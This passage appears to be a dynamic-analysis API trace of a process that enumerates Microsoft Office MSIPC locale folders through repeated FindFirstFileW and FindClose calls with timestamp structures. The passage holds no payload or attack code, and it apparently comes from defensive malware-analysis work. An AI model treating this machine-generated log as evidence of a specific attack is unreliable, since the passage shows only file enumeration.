lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91c3e630, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.545] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.545] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ko\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x914ce170, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.546] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.547] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ko\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x914ce170, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.547] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.547] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\lt\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82fb1bf0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.548] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.549] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\lt\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82fb1bf0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.549] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.549] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\lv\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f7a610, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.550] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.550] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\lv\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f7a610, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.550] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.551] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ms\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a266010, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.552] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.552] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ms\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a266010, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.552] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.553] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\nl\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87b6b7d0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.554] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.554] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\nl\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87b6b7d0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.554] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.554] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\no\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b524d50, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.556] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.556] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\no\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b524d50, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.556] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.557] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\pl\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91cd6bb0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.558] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.558] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\pl\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91cd6bb0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.559] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.559] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\pt\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a28c170, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.560] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.561] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\pt\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a28c170, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.561] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.561] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\pt-BR\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8fec95f0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.563] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.563] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\pt-BR\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8fec95f0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.563] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.563] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ro\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90020250, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.565] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.565] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ro\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90020250, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.565] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.565] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ru\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9208ee10, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d2a100, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d2a100, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.567] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.567] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ru\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9208ee10, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d2a100, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d2a100, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.567] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.567] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sk\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91c3e630, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d2a100, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d2a100, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.569] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.569] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sk\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91c3e630, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d2a100, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d2a100, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.569] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.570] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sl\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91d48fd0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d2a100, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d2a100, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.571] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.571] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sl\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91d48fd0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d2a100, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d2a100, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.571] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.572] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sr-Cyrl-BA\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x821b5ab0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d2a100, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d2a100, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.573] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.573] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sr-Cyrl-BA\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x821b5ab0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d2a100, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d2a100, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.573] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.574] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sr-Cyrl-CS\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x84994b30, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb81c3340, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb81c3340, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.575] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.575] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sr-Cyrl-CS\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x84994b30, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb81c3340, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb81c3340, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.576] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.576] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sr-Cyrl-RS\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5d2a100, ftCreationTime.dwHighDateTime=0x1d337b0, ftLastAccessTime.dwLowDateTime=0xb5d2a100, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d2a100, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.578] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.578] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sr-Cyrl-RS\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5d2a100, ftCreationTime.dwHighDateTime=0x1d337b0, ftLastAccessTime.dwLowDateTime=0xb5d2a100, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d2a100, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.578] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.578] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sr-Latn-CS\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x827f5470, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb812adc0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb812adc0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.579] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.579] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sr-Latn-CS\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x827f5470, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb812adc0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb812adc0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.579] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.580] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sr-Latn-RS\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5d2a100, ftCreationTime.dwHighDateTime=0x1d337b0, ftLastAccessTime.dwLowDateTime=0xb5d2a100, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d2a100, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.581] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.581] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sr-Latn-RS\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5d2a100, ftCreationTime.dwHighDateTime=0x1d337b0, ftLastAccessTime.dwLowDateTime=0xb5d2a100, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d2a100, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", 